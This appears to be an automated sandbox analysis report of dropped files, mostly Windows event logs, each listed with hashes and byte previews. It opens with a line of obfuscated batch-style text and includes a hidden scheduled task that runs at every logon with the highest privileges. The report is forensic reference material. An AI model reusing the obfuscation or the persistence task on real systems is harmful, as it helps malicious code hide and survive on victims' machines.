%BmRlEduvybliNAQbBEMYGZZZnNGxEQQUPfHM%%ZRmJRHhiQKm%o%ItbnmSCmRXRwWRHlqtISdZCNzoPrRRxcuFVwOHDneAkbZPNaaWRxctPIR%%NXclvZAOcqVkwIQvODPANKBPr%f%aaaaPmFAUFkTekBlMwePziHGFlTqAcwnTAZzNbBJFWOklVyFZCYfKCvRttv%%spZSjWZEkbxKVukDuwvJNnqYeqCreiguFWqpXVboW%f%vXenjqsSxWYMRfYaNStHzbUdfYdUGyuhNTSsURgmZmLkwTflrWhiUoutdb%..%lmylYBQYXmFgWLhImq%s%HlSRCKqmmyyypSJVZBbNIFUhYLPlxNFhdstWsuVBHpEAzNqn%%QihlDbcqLSRUfOzSrvWzMCE%e%zfsbuIlvBYHFyVzrrGHBdHCAeHhstOAnDBMyIbVcHwth%%UuwVFhgVcCSCRWNBT%t%MxtbXibIqKF%%HovtkmLwOHtsBYUVQeiBOuGJNTwnTXRwqiVDhyMAQwnfdbAYogRlBefmIL%l%rPyCQQXcsdqNssHLsgAFLsyYNgFUmcIVvSuLrUwpgZh%%XsyTUsNghfUYrzOKkc

C:\Windows\System32\Tasks\$nya-SgIauazY

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	3494
Entropy (8bit):	3.5825816983996557
Encrypted:	false
SSDEEP:	96:tp2Znkp2Gdi3ipVA9ll7EhAMz3cHtgjy++:CJkYx39OhO6jy++
MD5:	4E4ACA4A800CFAE1555EBA88D1065300
SHA1:	AE909A9F2A9AC72C58F5781B0BF59EE64CA2F91C
SHA-256:	3AF42BCE705FC7EB32B9BDC5471DFAD9E82EE5B4643B9237C663EC82FE901AD2
SHA-512:	3E3CE090AC3ECB51F6FB53DEAE0CA91EE9D1F7A4F482CC31D6DF1C3D054E6B42C8C9A642A56A2A8CA369DC57E05F54B9194D21BF7D4ADE9908D711F2D6C12972
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.T.a.s.k. .v.e.r.s.i.o.n.=.".1...2.". .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n.d.o.w.s./.2.0.0.4./.0.2./.m.i.t./.t.a.s.k.".>..... . .<.R.e.g.i.s.t.r.a.t.i.o.n.I.n.f.o.>..... . . . .<.D.a.t.e.>.2.0.2.4.-.1.2.-.1.3.T.0.7.:.4.5.:.4.1...9.4.9.-.0.5.:.0.0.<./.D.a.t.e.>..... . . . .<.U.R.I.>.\.$.n.y.a.-.S.g.I.a.u.a.z.Y.<./.U.R.I.>..... . .<./.R.e.g.i.s.t.r.a.t.i.o.n.I.n.f.o.>..... . .<.T.r.i.g.g.e.r.s.>..... . . . .<.L.o.g.o.n.T.r.i.g.g.e.r.>..... . . . . . .<.E.n.a.b.l.e.d.>.t.r.u.e.<./.E.n.a.b.l.e.d.>..... . . . .<./.L.o.g.o.n.T.r.i.g.g.e.r.>..... . .<./.T.r.i.g.g.e.r.s.>..... . .<.P.r.i.n.c.i.p.a.l.s.>..... . . . .<.P.r.i.n.c.i.p.a.l. .i.d.=.".A.u.t.h.o.r.".>..... . . . . . .<.R.u.n.L.e.v.e.l.>.H.i.g.h.e.s.t.A.v.a.i.l.a.b.l.e.<./.R.u.n.L.e.v.e.l.>..... . . . . . .<.G.r.o.u.p.I.d.>.b.u.i.l.t.i.n.\.U.s.e.r.s.<./.G.r.o.u.p.I.d.>..... . . . .<./.P.r.i.n.c.i.p.a.l.>..... .

C:\Windows\System32\winevt\Logs\Application.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	3376
Entropy (8bit):	3.929829131899758
Encrypted:	false
SSDEEP:	48:Ms5/nrP+sXCrPwfFRVEfWb3/OoNMiyTL3W5HSqdrSDFDSL3:D/9Crup/vOo+xLG1joFe3
MD5:	E17C2C0005DEDC7E29ED73894D40681F
SHA1:	A3CF98208B105CB56CCD46DCE8AED98D948CE5DB
SHA-256:	1E7F7062650CD365E5FBB1E94AA8CBEE61E9046A119A436C3E7DB3FB63BAF52F
SHA-512:	18F2DD9BA7E71141BCE73F450F32024854A0E31790835469B035BFE87FF8ACF3DA2025C5C8CBFC217B976CF4604BBB9AD5C1D6D0AAF090F9AD3F5FCE558DC75F
Malicious:	false
Preview:	ElfChnk.................u.......v...........X...0......Z....................................................................d.e.............................................=...........................................................................................................................g...............@...........................n...................M...]...........................h...................................................................&...............................................~...**..X...u.........@(\M..........D.&.........D..T.Xb.L............A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Z............{..P.r.o.v.i.d.e.r...7...F=.......K...N.a.m.e.......M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.S.e.c.u.r.i.t.y.-.S.P.P.F........)...G.u.i.d.....&.{.E.2.3.B.3.3.B.0.-.C.8.C.9.-.4.7.2.C.-.A.5.F.9.-.F.2.B.D.F.E.

C:\Windows\System32\winevt\Logs\Microsoft-Client-Licensing-Platform%4Admin.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.1666402962089175
Encrypted:	false
SSDEEP:	384:ahe6UHi2uepX7xasnPC3FzFtpFDhFPFyF842Al:aVUHiapX7xadptrDT9W84D
MD5:	A74CE5C6257805D2551C46277CE2263B
SHA1:	234D67DD4FB9DD141141C4B8BEC7F8EE019E72DC
SHA-256:	1F3C37BAF8BD01FA479E4CB6DA3A6819D613A0D4703466980823C5B15F410C1A
SHA-512:	38E4A74E8395EC245409A76B138639AC20CB6A199921A2982F0D7AED44389CBD3A0EC1AB4521286708A7A01126CE382EF7124860D7150B0C1E6C6E5F3FD01C66
Malicious:	false
Preview:	ElfChnk.........1...............1...........p........T.b.....................................................................6mL................>.......................f...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&........r...................m..............qo...................>...;..................**..............4.9...............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-AppModel-Runtime%4Admin.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.010692427789071
Encrypted:	false
SSDEEP:	384:GhLNzhNCjN0QNGNgN7NxEN5N0RN0zN0mN0RN00N0oN0xN0qNeN0NN0UN0lN09N0Q:GnqqIJMa/Mh9sUwBYAJGUarGlEwxV
MD5:	26C4C5213F3C6B727417EF07207AC1E0
SHA1:	1815CC405C8B70939C252390E2A1AEC87EFF45F2
SHA-256:	767656ADC7440970A3117E0DA8E066D9A3E1DA88CBC82ACABCFA37A3985D5608
SHA-512:	0355BBF16EB471698F47189031E8E18306D8F748E6CC5328C33301BEAAE435647532B24F5EC42A94B92390C19E60D11846B412C6747DC82DC98999E649607B65
Malicious:	false
Preview:	ElfChnk.%.......J.......%.......J............b..Pe.....:....................................................................&...................:.......................b...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...........].......M...............................VY..................................**......%........0................&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-AppXDeployment%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	66960
Entropy (8bit):	4.165713242110943
Encrypted:	false
SSDEEP:	384:gVdVghfVaVtVbVHVyV5V+VSVBVNVEVrVBVeVPVpVCVigVgVpVeVNVkVUVAVJVgVm:Vhfhd0UNt
MD5:	5D3889F991D37BD701DD4E4C146880CB
SHA1:	E601669B1DECC111185B0B8D71C28E73A64CA18C
SHA-256:	B3B043AC976889C5A62D5290265D90F1AC519BCCB2A01B0A931EF91018A80076
SHA-512:	27806AE63B4C18265AFD1EA0D88DC26CA37082037D4AC6788CB88B26831E093797F8A5954098E3746214F6859796D90C91CFE90FD03002243D7A4CCF0802483E
Malicious:	false
Preview:	ElfChnk.....................................X... ......a....................................................................b..................0.......................X...=...........................................................................................................................f...............?...........................m...................M...F...............................................................................................................&.................................................h:.&\M............&...............................................................@.......X...a.!.....E..........@h:.&\M....&O.....q'O........P........................M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.A.p.p.X.D.e.p.l.o.y.m.e.n.t...'..Y.J.R>:..=_M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.A.p.p.X.D.e.p.l.o.y.m.e.n.t./.O.p.e.r.a.t.i.o.n.a.l...f.d.........N...M.i.c.r.o.s.o.f.t...W.i.n.d.o.w.s...S.e.a.r.c.h._.c.w.5.n.1.h.2.t.x.y.e.w.y.....i.c...................S.&\M..........

C:\Windows\System32\winevt\Logs\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.4281985572602
Encrypted:	false
SSDEEP:	384:QhTm5mc5mNQ9momTDDr0moOm3OPlfmMsgJm5mnmYmcmum/mqmlmtmumbsmbmvMmk:QdfD6CL49mVpgwQFQ
MD5:	4D2A74DDCE0E933295361813745332B4
SHA1:	CC9B6665552A463E15B9DC86DA8C6BCF4A402BDE
SHA-256:	A10063A089800F4FA943F4F37A02CBB1A9F0C9B792D846FEDCEF5ECC722A7746
SHA-512:	F905C36D00B5713C4528164832A52FD8BA9AE04116F845EC3251573D76553A985D991FA93CCCDC33B55AFDC8A9238D0B1AAD78FBC6BB9B520DC434499C9BFDB2
Malicious:	false
Preview:	ElfChnk..!.......!.......!.......!..................`B..........................................................................................J.......................r...=...........................................................................................................................f...............?...........................m...................M...F...............................................................................................#...............&...................................**.......!......o.T..............&............"3WI..L..........A..\|...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.35238183906338816
Encrypted:	false
SSDEEP:	48:MPsWNWwrP+AQNRBEZWTENO4bnB+zMgq+ckH58ykH5bOTLHyRdHLP7jMLckH58yk8:DNVaO8sMa3Z85ZML4rjjO3Z85Zu
MD5:	A1AA11A4FDFB5E94FC4CB849323ACBD5
SHA1:	FFABB9CDF5F5FAE6AEF2A046924A7580631BD67F
SHA-256:	081C893D4E499275097C5661595010C1D7D74628E486A4F5277699EAEF31ACFF
SHA-512:	76B8A3DE8CB26A613D16C47F65378DA8E7D9A4D9189C520E428FD8265B053854AC50A51EE4EDF910E025CF87A987CBE6E2B3B1995CB611F2CE7B7B0B0D43533E
Malicious:	false
Preview:	ElfChnk.....................................p.................................................................................W3............................................=...........................................................................................................................f...............?...................................p...........M...F...................................................................................................................................&...............**..p...........n.d.............g.&.........g....R....uJ.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Application-Experience%4Program-Telemetry.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.014860518194814
Encrypted:	false
SSDEEP:	1536:xbBN2A4VD7VAx8whAGU2woJQghcI5oIRA4Hw:
MD5:	4FB8E2CF8B3F20534836684947962DC2
SHA1:	B263607E627C81DA77DB65DF5AED2F3FD84B83E2
SHA-256:	DEAB680C467984C31D118AC595F0F57E573CEEC460CC4B43FCEB0BD66F731294
SHA-512:	D982DB741A044E222D567712FB4799FF6524A1D451C3D2EE3DF7EB17031AD20EF4EC7098BCFB3E2B00C929EB6569C858EFCF275B28240425E4BF8D994AED9053
Malicious:	false
Preview:	ElfChnk.........V...............V...................0q....................................................................... I............................................=...................................................................................%.......................................X...............?...............................................M...F...................................................................................................................................z...............**..............................g.&.........g....R....uJ.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-CloudStore%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.15655690871689
Encrypted:	false
SSDEEP:	768:SPB9TXYa1RFxRaayVadMRFyfqd9xZRta7Ea+5BVZUeaBhN1dJhlBlBJ9tFk6dd3s:eXY5nVYIyyqED5BVZUeouPZ
MD5:	2DE60575CB719BF51FAB8A63F696B052
SHA1:	BD44E6B92412898F185D5565865FEA3778573578
SHA-256:	7C14D6D72CD2DE834A0C4D17A68B2584B83B81C647D2C439E1071600E29A803D
SHA-512:	0471E7824795996992E736F33FEA7AF70EA909804DE3AC59EE76B5D0403901A5147558256C3AAE87BA8F1747D151DE63134661BEB9F6E0FF25AB0E3E89BC6B4A
Malicious:	false
Preview:	ElfChnk.........o...............o..........................................................................................._..................>.......................f...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...............................................................y.......................**................9..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-CodeIntegrity%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.6158707870316427
Encrypted:	false
SSDEEP:	384:Xhdo69CcoTorNorWorbvorTorZorQorNor7orqorlGhorRor9orwTorYorDor+Y8:XDCYAb
MD5:	7D96A672043812D898757610705AF164
SHA1:	17AB04259076DC75C03E9C2FC38F6B501B7A3C1D
SHA-256:	DEDA61C92BD81305343E512A227080BFC795A05D4112354FBB916436DC9CF26C
SHA-512:	6CB3D9291892A865C3AA09BFED4908458E19FA1518149B22D13421F83A23D43EAA9CBD9D5369E3447D9DA211C592162BCAEEBD738A310123120241200D679D02
Malicious:	false
Preview:	ElfChnk.....................................8J..pL..\5 .....................................................................M$is................:.......................b...=...........................................................................................................................f...............?...........................m...................M...F...........................&....................................3..................................=/...........$..U)..............................**...............k...............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Containers-BindFlt%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8524226245257144
Encrypted:	false
SSDEEP:	384:JhAiPA5PNPxPEPHPhPEPmPSPRP3PoPpPTP8PXPr5P:J2Nr
MD5:	B8E105CC52B7107E2757421373CBA144
SHA1:	39B61BEA2065C4FBEC143881220B37F3BA50A372
SHA-256:	B7EE076088005866A01738ECD3421A4DA3A389FFB9EEB663687823E6647F7B4B
SHA-512:	7670455904F14DA7A9EEFBAD5616D6D00EA262C979EDABB433182500B6EF918C6E534C94DF30D829016C8539DF12CAD5F53EC884C45AA71ACA35CF9B797361BC
Malicious:	false
Preview:	ElfChnk......................................#...&...l2.......................................................................................N...........................=...........................................................................................................................f...............?...........................m...................M...F...........................&....................................................................................#..........'.......................**..x.............\|..............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Containers-Wcifs%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8432997252442703
Encrypted:	false
SSDEEP:	384:4hZ21JJgL4JJFiJJ+aeJJ+WBJJ+5vJJ+/UJJ+4fJJ+CwJJ+D2JJ+a2JJ+JtJJ+l9:4WXSYieD+tvgzmMvRpBWfb
MD5:	39EE3557626C7F112A88A4DE12E904C1
SHA1:	C307FECC944D746A49EEA6451B7DA7301F03504C
SHA-256:	2B47146267E6F31192C54D3EDA77EC9ABE6A88B1C72BA9FE789C8073FD632A5A
SHA-512:	304C866E246B3F63BF126B33AED784913A078D44913FD987D896D2D960578B61BA7E24BA3CB8FC76608AB1E5702D0FE587A5FB8C38CDF8913D60F88B1435A2D9
Malicious:	false
Preview:	ElfChnk......................................"...&.....k.....................................................................n..................F...........................=...........................................................................................................................f...............?...........................m...................M...F...........................&...................................................................................."..................................**..p............zu..............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.9223892466691472
Encrypted:	false
SSDEEP:	384:whqhSx4h/y4Rhph5h6hNh5hah/hrhbhmhjh/h7hkh8hbhMh9hYwhChwh8hRqh28t:wbCyhLfIXBS5
MD5:	93BC7C28E3A7B0EC7634432FFB5F26AE
SHA1:	388548D6291DA80F672153D1C18E32BDA335AA90
SHA-256:	D354F4EA745283540D197B6D4C57EFC4F539F7566CFB3A06AEBD1243CD222EE1
SHA-512:	3235FEA5A58C72DCD680D436AA2652F5221C6AC6F5A53882C7817A8A65E63C13087CD5660839FC7CFA0F62C666014608B91ABB4235EF5F79F68EF5806252F84A
Malicious:	false
Preview:	ElfChnk.........F...............F...............P............................................................................................6.......................^...=...........................................................................................................................f...............?...........................m...................M...F...........................&...............................n...................................................6...................................*..`............0H..............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Crypto-NCrypt%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.838106263184782
Encrypted:	false
SSDEEP:	768:ccMhFBuyKskZljdoKXjtT/r18rQXn8r3e5POH:JMhFBuVge
MD5:	A2D41740C1BAF781019F282E37288DDF
SHA1:	A6FE635B3EC8A6923EDE10C23FC79DD32EF4F621
SHA-256:	7008D3010B17C0B09643D10D26B19FB971BB1963C414C1466BEAD617CF9F15E7
SHA-512:	E33A0A2F9473D2D05E9704FE16E6EE34FB51FD8E25A3D60E1F7A67665CA14421B6511D896526AFC7CAE1BF629BB7013FA10663620C5450F1BB51A465EF5A51CB
Malicious:	false
Preview:	ElfChnk.........?...............?...................<.md.....................................................................?.Q................:.......................b...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...............m...........................5A......&...................................**..x...........,.8..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.634418630947688
Encrypted:	false
SSDEEP:	768:/VQ+uYvAzBCBao/F6Cf2SEqEhwaK41HZaUeI36ISKEeKRe:cH
MD5:	A00BAFFCABB00428EA0512FCECCC55E5
SHA1:	19F7C942DC26C3FF56D6240158734AFF67D6B93E
SHA-256:	92264C9E28AB541669DED47CFAF1E818EBD863FA9E8FC6B0F52175D694A9E0D9
SHA-512:	DF94AA8FA0610A0EFE7BAC0DB2A01645A4CD1C7FAD62E914EF914B526B651ED62600F63909D26149FD17C259348DADE05F48759B1DF092970251DB86690CC2B6
Malicious:	false
Preview:	ElfChnk.........m...............m.....................]......................................................................p.................:.......................b...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...............................................................................%0......**..@...........WW. ..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.0646587531847893
Encrypted:	false
SSDEEP:	384:eh1kbAP1gzkw3kN5Ayqk+HkzGk+hkV3SuckzlckA66k+4DkzRxk+dkzwUk+rkzDK:eMAP1Qa5AgfQQgniwS
MD5:	399CAF70AC6E1E0C918905B719A0B3DD
SHA1:	62360CD0CA66E23C70E6DE3340698E7C0D789972
SHA-256:	FD081487CCB0ACEAD6F633AADBA4B977D2C9360CE8EAC36EAB4E3C84A701D849
SHA-512:	A3E17DA61D4F7C0C94FD0B67707AE35250656842D602906DE515B5E46ECD5078AC68AE607B99DC1A6061B0F896759FE46FF8EE350774205635D30363D46939EA
Malicious:	false
Preview:	ElfChnk......................................g...j..%s.g........................................................................................b...........................=...........................................................................................................................f...............?...........................m...................M...F...........................................................&........................................&...........c..;...............................**..x...........HD................&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-GroupPolicy%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.4364303862010575
Encrypted:	false
SSDEEP:	384:PhrE2E+EAsbE3VgEWsUiEcEf4eEOhEmELVFEEE5ejElEreEFEzEAEWE+EWEeEKEy:P3sleByhfIwPGa1SEzy
MD5:	2BB73ACC8F7419459C4BF931AB85352C
SHA1:	F1CE2EB960D3886F76094E2327DD092FC1208C7E
SHA-256:	1969400F6FC72AD4A41092FEC53A19078C98DE9FCB2507A3BD8E1930B2447B62
SHA-512:	7D882184DA11B490E111502C8193B73248259D43CC5DCE021CD7264212F1BCD3D62F2A3A2F86929663E2E904961D4F1E406E314020FE904D41694A09C1EB0457
Malicious:	false
Preview:	ElfChnk.p...............p..................../...1..V......................................................................H...................$.......................L...=...........................................................................................................................f...............?...........................m...................M...F...........................................m..............................%................ ..................&............0......................*......p..........T..............&............"3WI..L..........A..\|...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-HelloForBusiness%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.0631557320109892
Encrypted:	false
SSDEEP:	384:xhYCAKRuKIYKxkKiCKVIAK8sL4K5VKjPKwnKZ/K50K8/0KXAKuWKSlK+NK8t3KlZ:x1T4hGvj
MD5:	86AEA3A9CA3E5909FD44812754E52BD6
SHA1:	F79B583F83F118AC724A5A4206FC439B88BB8C65
SHA-256:	2AB21F158F9FFA0A375B2ABBD58880A732FABBC436246D40A68DD88D324428C9
SHA-512:	17796DAA6BCE3C6B7EBACD2A683D085AB08C7701DB5FF91DC2D6531E9CC23FCFC52650A6CD02D8B54D4E8C8D5B59DB1688E18571587E0431E4AA914086BE26F5
Malicious:	false
